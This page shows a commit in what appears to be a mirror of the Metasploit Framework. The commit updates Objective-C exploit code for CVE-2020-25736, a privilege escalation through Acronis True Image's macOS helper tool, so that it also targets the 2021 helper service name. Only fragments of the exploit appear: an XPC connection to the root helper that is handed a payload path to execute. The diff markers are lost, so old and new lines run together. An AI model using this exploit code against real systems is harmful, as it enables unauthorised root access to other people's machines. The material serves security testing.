github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00
Code Releases Activity

use 2021 helper name in objective-c code too

Browse Source
This commit is contained in:
space-r7 2022-12-12 15:55:36 -06:00
parent 13a557013c
commit cf9e54909c
No known key found for this signature in database
GPG Key ID: DE80BD86F1B96C84
3 changed files with 32 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

17
data/exploits/CVE-2020-25736/acronis-exp.erb
View File

@ -9,10 +9,25 @@
int main(int argc, char *argv[])
{
NSString *service_name;
NSString *payload = @"<%= @payload_path %>";
NSArray *arg_array = @[@"-c", payload];
NSFileManager *file_manager = [NSFileManager defaultManager];
NSString *service_name_2020 = @"com.acronis.trueimagehelper";
NSString *service_name_2021 = @"com.acronis.helpertool";
NSString *helper_path_2020 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2020];
NSString *helper_path_2021 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2021];
if ([file_manager fileExistsAtPath:helper_path_2020])
{
service_name = service_name_2020;
}
else
{
service_name = service_name_2021;
}
NSString *service_name = @"com.acronis.trueimagehelper";
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
NSXPCInterface *interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
[connection setRemoteObjectInterface:interface];

BIN
data/exploits/CVE-2020-25736/acronis-exp.macho
View File

Binary file not shown.

17
external/source/exploits/CVE-2020-25736/acronis-exp.m vendored
View File

@ -11,10 +11,25 @@
int main(int argc, char *argv[])
{
NSString *service_name;
NSString *payload = @"/tmp/payload";
NSArray *arg_array = @[@"-c", payload];
NSFileManager *file_manager = [NSFileManager defaultManager];
NSString *service_name_2020 = @"com.acronis.trueimagehelper";
NSString *service_name_2021 = @"com.acronis.helpertool";
NSString *helper_path_2020 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2020];
NSString *helper_path_2021 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2021];
if ([file_manager fileExistsAtPath:helper_path_2020])
{
service_name = service_name_2020;
}
else
{
service_name = service_name_2021;
}
NSString *service_name = @"com.acronis.trueimagehelper";
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
NSXPCInterface *interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
[connection setRemoteObjectInterface:interface];